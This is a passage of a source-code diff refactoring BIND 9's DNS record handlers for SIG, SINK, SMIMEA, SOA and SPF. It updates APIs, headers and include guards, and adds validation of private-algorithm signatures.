  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,10 +18,10 @@
 
 #define RRTYPE_SIG_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_sig(ARGS_FROMTEXT) {
 	isc_token_t token;
-	unsigned char c;
+	unsigned char alg, c;
 	long i;
 	dns_rdatatype_t covered;
 	char *e;
@@ -27,6 +29,7 @@ fromtext_sig(ARGS_FROMTEXT) {
 	dns_name_t name;
 	isc_buffer_t buffer;
 	uint32_t time_signed, time_expire;
+	unsigned int used;
 
 	REQUIRE(type == dns_rdatatype_sig);
 
@@ -57,8 +60,8 @@ fromtext_sig(ARGS_FROMTEXT) {
 	 */
 	RETERR(isc_lex_getmastertoken(lexer, &token, isc_tokentype_string,
 				      false));
-	RETTOK(dns_secalg_fromtext(&c, &token.value.as_textregion));
-	RETERR(mem_tobuffer(target, &c, 1));
+	RETTOK(dns_secalg_fromtext(&alg, &token.value.as_textregion));
+	RETERR(mem_tobuffer(target, &alg, 1));
 
 	/*
 	 * Labels.
@@ -116,10 +119,27 @@ fromtext_sig(ARGS_FROMTEXT) {
 	/*
 	 * Sig.
 	 */
-	return (isc_base64_tobuffer(lexer, target, -2));
+	used = isc_buffer_usedlength(target);
+
+	RETERR(isc_base64_tobuffer(lexer, target, -2));
+
+	if (alg == DNS_KEYALG_PRIVATEDNS || alg == DNS_KEYALG_PRIVATEOID) {
+		isc_buffer_t b;
+
+		/*
+		 * Set up 'b' so that the signature data can be parsed.
+		 */
+		b = *target;
+		b.active = b.used;
+		b.current = used;
+
+		RETERR(check_private(&b, alg));
+	}
+
+	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_sig(ARGS_TOTEXT) {
 	isc_region_t sr;
 	char buf[sizeof("4294967295")];
@@ -130,7 +150,7 @@ totext_sig(ARGS_TOTEXT) {
 	unsigned long foot;
 	dns_name_t name;
 	dns_name_t prefix;
-	bool sub;
+	unsigned int opts;
 
 	REQUIRE(rdata->type == dns_rdatatype_sig);
 	REQUIRE(rdata->length != 0);
@@ -215,8 +235,9 @@ totext_sig(ARGS_TOTEXT) {
 	dns_name_init(&prefix, NULL);
 	dns_name_fromregion(&name, &sr);
 	isc_region_consume(&sr, name_length(&name));
-	sub = name_prefix(&name, tctx->origin, &prefix);
-	RETERR(dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&name, tctx->origin, &prefix) ? DNS_NAME_OMITFINALDOT
+							 : 0;
+	RETERR(dns_name_totext(&prefix, opts, target));
 
 	/*
 	 * Sig.
@@ -235,17 +256,18 @@ totext_sig(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_sig(ARGS_FROMWIRE) {
 	isc_region_t sr;
 	dns_name_t name;
+	unsigned char algorithm;
 
 	REQUIRE(type == dns_rdatatype_sig);
 
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_NONE);
+	dctx = dns_decompress_setpermitted(dctx, false);
 
 	isc_buffer_activeregion(source, &sr);
 	/*
@@ -261,6 +283,8 @@ fromwire_sig(ARGS_FROMWIRE) {
 		return (ISC_R_UNEXPECTEDEND);
 	}
 
+	algorithm = sr.base[2];
+
 	isc_buffer_forward(source, 18);
 	RETERR(mem_tobuffer(target, sr.base, 18));
 
@@ -268,7 +292,7 @@ fromwire_sig(ARGS_FROMWIRE) {
 	 * Signer.
 	 */
 	dns_name_init(&name, NULL);
-	RETERR(dns_name_fromwire(&name, source, dctx, options, target));
+	RETERR(dns_name_fromwire(&name, source, dctx, target));
 
 	/*
 	 * Sig.
@@ -277,11 +301,19 @@ fromwire_sig(ARGS_FROMWIRE) {
 	if (sr.length == 0) {
 		return (ISC_R_UNEXPECTEDEND);
 	}
+
+	if (algorithm == DNS_KEYALG_PRIVATEDNS ||
+	    algorithm == DNS_KEYALG_PRIVATEOID)
+	{
+		isc_buffer_t b = *source;
+		RETERR(check_private(&b, algorithm));
+	}
+
 	isc_buffer_forward(source, sr.length);
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_sig(ARGS_TOWIRE) {
 	isc_region_t sr;
 	dns_name_t name;
@@ -290,7 +322,7 @@ towire_sig(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_sig);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_NONE);
+	dns_compress_setpermitted(cctx, false);
 	dns_rdata_toregion(rdata, &sr);
 	/*
 	 * type covered: 2
@@ -310,7 +342,7 @@ towire_sig(ARGS_TOWIRE) {
 	dns_name_init(&name, offsets);
 	dns_name_fromregion(&name, &sr);
 	isc_region_consume(&sr, name_length(&name));
-	RETERR(dns_name_towire(&name, cctx, target));
+	RETERR(dns_name_towire(&name, cctx, target, NULL));
 
 	/*
 	 * Signature.
@@ -318,7 +350,7 @@ towire_sig(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline int
+static int
 compare_sig(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -363,7 +395,7 @@ compare_sig(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_sig(ARGS_FROMSTRUCT) {
 	dns_rdata_sig_t *sig = source;
 
@@ -422,7 +454,7 @@ fromstruct_sig(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, sig->signature, sig->siglen));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_sig(ARGS_TOSTRUCT) {
 	isc_region_t sr;
 	dns_rdata_sig_t *sig = target;
@@ -483,7 +515,7 @@ tostruct_sig(ARGS_TOSTRUCT) {
 	dns_name_init(&signer, NULL);
 	dns_name_fromregion(&signer, &sr);
 	dns_name_init(&sig->signer, NULL);
-	RETERR(name_duporclone(&signer, mctx, &sig->signer));
+	name_duporclone(&signer, mctx, &sig->signer);
 	isc_region_consume(&sr, name_length(&sig->signer));
 
 	/*
@@ -491,21 +523,11 @@ tostruct_sig(ARGS_TOSTRUCT) {
 	 */
 	sig->siglen = sr.length;
 	sig->signature = mem_maybedup(mctx, sr.base, sig->siglen);
-	if (sig->signature == NULL) {
-		goto cleanup;
-	}
-
 	sig->mctx = mctx;
 	return (ISC_R_SUCCESS);
-
-cleanup:
-	if (mctx != NULL) {
-		dns_name_free(&sig->signer, mctx);
-	}
-	return (ISC_R_NOMEMORY);
 }
 
-static inline void
+static void
 freestruct_sig(ARGS_FREESTRUCT) {
 	dns_rdata_sig_t *sig = (dns_rdata_sig_t *)source;
 
@@ -523,18 +545,19 @@ freestruct_sig(ARGS_FREESTRUCT) {
 	sig->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_sig(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_sig);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_sig(ARGS_DIGEST) {
 	REQUIRE(rdata->type == dns_rdatatype_sig);
 
@@ -545,7 +568,7 @@ digest_sig(ARGS_DIGEST) {
 	return (ISC_R_NOTIMPLEMENTED);
 }
 
-static inline dns_rdatatype_t
+static dns_rdatatype_t
 covers_sig(dns_rdata_t *rdata) {
 	dns_rdatatype_t type;
 	isc_region_t r;
@@ -558,7 +581,7 @@ covers_sig(dns_rdata_t *rdata) {
 	return (type);
 }
 
-static inline bool
+static bool
 checkowner_sig(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_sig);
 
@@ -570,7 +593,7 @@ checkowner_sig(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_sig(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_sig);
 
@@ -581,7 +604,7 @@ checknames_sig(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_sig(ARGS_COMPARE) {
 	return (compare_sig(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/sig_24.h b/lib/dns/rdata/generic/sig_24.h
index ca71f4a4a4..40bad221ec 100644
--- a/lib/dns/rdata/generic/sig_24.h
+++ b/lib/dns/rdata/generic/sig_24.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_SIG_24_H
-#define GENERIC_SIG_24_H 1
+#pragma once
 
 /*!
  *  \brief Per RFC2535 */
@@ -29,5 +30,3 @@ typedef struct dns_rdata_sig_t {
 	uint16_t siglen;
 	unsigned char *signature;
 } dns_rdata_sig_t;
-
-#endif /* GENERIC_SIG_24_H */
diff --git a/lib/dns/rdata/generic/sink_40.c b/lib/dns/rdata/generic/sink_40.c
index 09bb04fab4..caabeb14c6 100644
--- a/lib/dns/rdata/generic/sink_40.c
+++ b/lib/dns/rdata/generic/sink_40.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,7 @@
 
 #define RRTYPE_SINK_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_sink(ARGS_FROMTEXT) {
 	isc_token_t token;
 
@@ -55,7 +57,7 @@ fromtext_sink(ARGS_FROMTEXT) {
 	return (isc_base64_tobuffer(lexer, target, -1));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_sink(ARGS_TOTEXT) {
 	isc_region_t sr;
 	char buf[sizeof("255 255 255")];
@@ -101,7 +103,7 @@ totext_sink(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_sink(ARGS_FROMWIRE) {
 	isc_region_t sr;
 
@@ -110,7 +112,6 @@ fromwire_sink(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 	UNUSED(dctx);
-	UNUSED(options);
 
 	isc_buffer_activeregion(source, &sr);
 	if (sr.length < 3) {
@@ -122,7 +123,7 @@ fromwire_sink(ARGS_FROMWIRE) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_sink(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_sink);
 	REQUIRE(rdata->length >= 3);
@@ -132,7 +133,7 @@ towire_sink(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, rdata->data, rdata->length));
 }
 
-static inline int
+static int
 compare_sink(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -148,7 +149,7 @@ compare_sink(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_sink(ARGS_FROMSTRUCT) {
 	dns_rdata_sink_t *sink = source;
 
@@ -173,7 +174,7 @@ fromstruct_sink(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, sink->data, sink->datalen));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_sink(ARGS_TOSTRUCT) {
 	dns_rdata_sink_t *sink = target;
 	isc_region_t sr;
@@ -189,38 +190,25 @@ tostruct_sink(ARGS_TOSTRUCT) {
 	dns_rdata_toregion(rdata, &sr);
 
 	/* Meaning */
-	if (sr.length < 1) {
-		return (ISC_R_UNEXPECTEDEND);
-	}
 	sink->meaning = uint8_fromregion(&sr);
 	isc_region_consume(&sr, 1);
 
 	/* Coding */
-	if (sr.length < 1) {
-		return (ISC_R_UNEXPECTEDEND);
-	}
 	sink->coding = uint8_fromregion(&sr);
 	isc_region_consume(&sr, 1);
 
 	/* Subcoding */
-	if (sr.length < 1) {
-		return (ISC_R_UNEXPECTEDEND);
-	}
 	sink->subcoding = uint8_fromregion(&sr);
 	isc_region_consume(&sr, 1);
 
 	/* Data */
 	sink->datalen = sr.length;
 	sink->data = mem_maybedup(mctx, sr.base, sink->datalen);
-	if (sink->data == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
 	sink->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_sink(ARGS_FREESTRUCT) {
 	dns_rdata_sink_t *sink = (dns_rdata_sink_t *)source;
 
@@ -237,18 +225,19 @@ freestruct_sink(ARGS_FREESTRUCT) {
 	sink->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_sink(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_sink);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_sink(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -259,7 +248,7 @@ digest_sink(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_sink(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_sink);
 
@@ -271,7 +260,7 @@ checkowner_sink(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_sink(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_sink);
 
@@ -282,7 +271,7 @@ checknames_sink(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_sink(ARGS_COMPARE) {
 	return (compare_sink(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/sink_40.h b/lib/dns/rdata/generic/sink_40.h
index ad53f18847..e2615fdc31 100644
--- a/lib/dns/rdata/generic/sink_40.h
+++ b/lib/dns/rdata/generic/sink_40.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_SINK_40_H
-#define GENERIC_SINK_40_H 1
+#pragma once
 
 typedef struct dns_rdata_sink_t {
 	dns_rdatacommon_t common;
@@ -21,5 +22,3 @@ typedef struct dns_rdata_sink_t {
 	uint16_t datalen;
 	unsigned char *data;
 } dns_rdata_sink_t;
-
-#endif /* GENERIC_SINK_40_H */
diff --git a/lib/dns/rdata/generic/smimea_53.c b/lib/dns/rdata/generic/smimea_53.c
index 8871369d9e..ce154a0914 100644
--- a/lib/dns/rdata/generic/smimea_53.c
+++ b/lib/dns/rdata/generic/smimea_53.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,14 +16,14 @@
 
 #define RRTYPE_SMIMEA_ATTRIBUTES 0
 
-static inline isc_result_t
+static isc_result_t
 fromtext_smimea(ARGS_FROMTEXT) {
 	REQUIRE(type == dns_rdatatype_smimea);
 
 	return (generic_fromtext_tlsa(CALL_FROMTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_smimea(ARGS_TOTEXT) {
 	REQUIRE(rdata != NULL);
 	REQUIRE(rdata->type == dns_rdatatype_smimea);
@@ -29,14 +31,14 @@ totext_smimea(ARGS_TOTEXT) {
 	return (generic_totext_tlsa(CALL_TOTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_smimea(ARGS_FROMWIRE) {
 	REQUIRE(type == dns_rdatatype_smimea);
 
 	return (generic_fromwire_tlsa(CALL_FROMWIRE));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_smimea(ARGS_TOWIRE) {
 	isc_region_t sr;
 
@@ -49,7 +51,7 @@ towire_smimea(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline int
+static int
 compare_smimea(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -65,14 +67,14 @@ compare_smimea(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_smimea(ARGS_FROMSTRUCT) {
 	REQUIRE(type == dns_rdatatype_smimea);
 
 	return (generic_fromstruct_tlsa(CALL_FROMSTRUCT));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_smimea(ARGS_TOSTRUCT) {
 	dns_rdata_smimea_t *smimea = target;
 
@@ -87,7 +89,7 @@ tostruct_smimea(ARGS_TOSTRUCT) {
 	return (generic_tostruct_tlsa(CALL_TOSTRUCT));
 }
 
-static inline void
+static void
 freestruct_smimea(ARGS_FREESTRUCT) {
 	dns_rdata_smimea_t *smimea = source;
 
@@ -97,18 +99,19 @@ freestruct_smimea(ARGS_FREESTRUCT) {
 	generic_freestruct_tlsa(source);
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_smimea(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_smimea);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_smimea(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -119,7 +122,7 @@ digest_smimea(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_smimea(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_smimea);
 
@@ -131,7 +134,7 @@ checkowner_smimea(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_smimea(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_smimea);
 
@@ -142,7 +145,7 @@ checknames_smimea(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_smimea(ARGS_COMPARE) {
 	return (compare_smimea(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/smimea_53.h b/lib/dns/rdata/generic/smimea_53.h
index e23dd3bbb0..108eb2086f 100644
--- a/lib/dns/rdata/generic/smimea_53.h
+++ b/lib/dns/rdata/generic/smimea_53.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,9 +11,6 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_SMIMEA_53_H
-#define GENERIC_SMIMEA_53_H 1
+#pragma once
 
 typedef struct dns_rdata_tlsa dns_rdata_smimea_t;
-
-#endif /* GENERIC_SMIMEA_53_H */
diff --git a/lib/dns/rdata/generic/soa_6.c b/lib/dns/rdata/generic/soa_6.c
index c30b079b58..42c229f285 100644
--- a/lib/dns/rdata/generic/soa_6.c
+++ b/lib/dns/rdata/generic/soa_6.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,7 +16,7 @@
 
 #define RRTYPE_SOA_ATTRIBUTES (DNS_RDATATYPEATTR_SINGLETON)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_soa(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_name_t name;
@@ -77,13 +79,13 @@ fromtext_soa(ARGS_FROMTEXT) {
 static const char *soa_fieldnames[5] = { "serial", "refresh", "retry", "expire",
 					 "minimum" };
 
-static inline isc_result_t
+static isc_result_t
 totext_soa(ARGS_TOTEXT) {
 	isc_region_t dregion;
 	dns_name_t mname;
 	dns_name_t rname;
 	dns_name_t prefix;
-	bool sub;
+	unsigned int opts;
 	int i;
 	bool multiline;
 	bool comm;
@@ -110,13 +112,17 @@ totext_soa(ARGS_TOTEXT) {
 	dns_name_fromregion(&rname, &dregion);
 	isc_region_consume(&dregion, name_length(&rname));
 
-	sub = name_prefix(&mname, tctx->origin, &prefix);
-	RETERR(dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&mname, tctx->origin, &prefix)
+		       ? DNS_NAME_OMITFINALDOT
+		       : 0;
+	RETERR(dns_name_totext(&prefix, opts, target));
 
 	RETERR(str_totext(" ", target));
 
-	sub = name_prefix(&rname, tctx->origin, &prefix);
-	RETERR(dns_name_totext(&prefix, sub, target));
+	opts = name_prefix(&rname, tctx->origin, &prefix)
+		       ? DNS_NAME_OMITFINALDOT
+		       : 0;
+	RETERR(dns_name_totext(&prefix, opts, target));
 
 	if (multiline) {
 		RETERR(str_totext(" (", target));
@@ -151,7 +157,7 @@ totext_soa(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_soa(ARGS_FROMWIRE) {
 	dns_name_t mname;
 	dns_name_t rname;
@@ -163,13 +169,13 @@ fromwire_soa(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 
-	dns_decompress_setmethods(dctx, DNS_COMPRESS_GLOBAL14);
+	dctx = dns_decompress_setpermitted(dctx, true);
 
 	dns_name_init(&mname, NULL);
 	dns_name_init(&rname, NULL);
 
-	RETERR(dns_name_fromwire(&mname, source, dctx, options, target));
-	RETERR(dns_name_fromwire(&rname, source, dctx, options, target));
+	RETERR(dns_name_fromwire(&mname, source, dctx, target));
+	RETERR(dns_name_fromwire(&rname, source, dctx, target));
 
 	isc_buffer_activeregion(source, &sregion);
 	isc_buffer_availableregion(target, &tregion);
@@ -188,7 +194,7 @@ fromwire_soa(ARGS_FROMWIRE) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_soa(ARGS_TOWIRE) {
 	isc_region_t sregion;
 	isc_region_t tregion;
@@ -200,7 +206,7 @@ towire_soa(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_soa);
 	REQUIRE(rdata->length != 0);
 
-	dns_compress_setmethods(cctx, DNS_COMPRESS_GLOBAL14);
+	dns_compress_setpermitted(cctx, true);
 
 	dns_name_init(&mname, moffsets);
 	dns_name_init(&rname, roffsets);
@@ -209,11 +215,11 @@ towire_soa(ARGS_TOWIRE) {
 
 	dns_name_fromregion(&mname, &sregion);
 	isc_region_consume(&sregion, name_length(&mname));
-	RETERR(dns_name_towire(&mname, cctx, target));
+	RETERR(dns_name_towire(&mname, cctx, target, NULL));
 
 	dns_name_fromregion(&rname, &sregion);
 	isc_region_consume(&sregion, name_length(&rname));
-	RETERR(dns_name_towire(&rname, cctx, target));
+	RETERR(dns_name_towire(&rname, cctx, target, NULL));
 
 	isc_buffer_availableregion(target, &tregion);
 	if (tregion.length < 20) {
@@ -225,7 +231,7 @@ towire_soa(ARGS_TOWIRE) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline int
+static int
 compare_soa(ARGS_COMPARE) {
 	isc_region_t region1;
 	isc_region_t region2;
@@ -273,7 +279,7 @@ compare_soa(ARGS_COMPARE) {
 	return (isc_region_compare(&region1, &region2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_soa(ARGS_FROMSTRUCT) {
 	dns_rdata_soa_t *soa = source;
 	isc_region_t region;
@@ -297,12 +303,11 @@ fromstruct_soa(ARGS_FROMSTRUCT) {
 	return (uint32_tobuffer(soa->minimum, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_soa(ARGS_TOSTRUCT) {
 	isc_region_t region;
 	dns_rdata_soa_t *soa = target;
 	dns_name_t name;
-	isc_result_t result;
 
 	REQUIRE(rdata->type == dns_rdatatype_soa);
 	REQUIRE(soa != NULL);
@@ -318,15 +323,12 @@ tostruct_soa(ARGS_TOSTRUCT) {
 	dns_name_fromregion(&name, &region);
 	isc_region_consume(&region, name_length(&name));
 	dns_name_init(&soa->origin, NULL);
-	RETERR(name_duporclone(&name, mctx, &soa->origin));
+	name_duporclone(&name, mctx, &soa->origin);
 
 	dns_name_fromregion(&name, &region);
 	isc_region_consume(&region, name_length(&name));
 	dns_name_init(&soa->contact, NULL);
-	result = name_duporclone(&name, mctx, &soa->contact);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	name_duporclone(&name, mctx, &soa->contact);
 
 	soa->serial = uint32_fromregion(&region);
 	isc_region_consume(&region, 4);
@@ -344,15 +346,9 @@ tostruct_soa(ARGS_TOSTRUCT) {
 
 	soa->mctx = mctx;
 	return (ISC_R_SUCCESS);
-
-cleanup:
-	if (mctx != NULL) {
-		dns_name_free(&soa->origin, mctx);
-	}
-	return (ISC_R_NOMEMORY);
 }
 
-static inline void
+static void
 freestruct_soa(ARGS_FREESTRUCT) {
 	dns_rdata_soa_t *soa = source;
 
@@ -368,18 +364,19 @@ freestruct_soa(ARGS_FREESTRUCT) {
 	soa->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_soa(ARGS_ADDLDATA) {
+	REQUIRE(rdata->type == dns_rdatatype_soa);
+
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
-	REQUIRE(rdata->type == dns_rdatatype_soa);
-
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_soa(ARGS_DIGEST) {
 	isc_region_t r;
 	dns_name_t name;
@@ -401,7 +398,7 @@ digest_soa(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_soa(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_soa);
 
@@ -413,7 +410,7 @@ checkowner_soa(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_soa(ARGS_CHECKNAMES) {
 	isc_region_t region;
 	dns_name_t name;
@@ -442,7 +439,7 @@ checknames_soa(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_soa(ARGS_COMPARE) {
 	return (compare_soa(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/soa_6.h b/lib/dns/rdata/generic/soa_6.h
index 2d91670f78..c6071bc067 100644
--- a/lib/dns/rdata/generic/soa_6.h
+++ b/lib/dns/rdata/generic/soa_6.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,8 +12,7 @@
  */
 
 /* */
-#ifndef GENERIC_SOA_6_H
-#define GENERIC_SOA_6_H 1
+#pragma once
 
 typedef struct dns_rdata_soa {
 	dns_rdatacommon_t common;
@@ -24,5 +25,3 @@ typedef struct dns_rdata_soa {
 	uint32_t expire;  /*%< host order */
 	uint32_t minimum; /*%< host order */
 } dns_rdata_soa_t;
-
-#endif /* GENERIC_SOA_6_H */
diff --git a/lib/dns/rdata/generic/spf_99.c b/lib/dns/rdata/generic/spf_99.c
index 4687324e30..20f939bddb 100644
--- a/lib/dns/rdata/generic/spf_99.c
+++ b/lib/dns/rdata/generic/spf_99.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,14 +16,14 @@
 
 #define RRTYPE_SPF_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_spf(ARGS_FROMTEXT) {
 	REQUIRE(type == dns_rdatatype_spf);
 
 	return (generic_fromtext_txt(CALL_FROMTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_spf(ARGS_TOTEXT) {
 	REQUIRE(rdata != NULL);
 	REQUIRE(rdata->type == dns_rdatatype_spf);
@@ -29,14 +31,14 @@ totext_spf(ARGS_TOTEXT) {
 	return (generic_totext_txt(CALL_TOTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_spf(ARGS_FROMWIRE) {
 	REQUIRE(type == dns_rdatatype_spf);
 
 	return (generic_fromwire_txt(CALL_FROMWIRE));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_spf(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_spf);
 
@@ -45,7 +47,7 @@ towire_spf(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, rdata->data, rdata->length));
 }
 
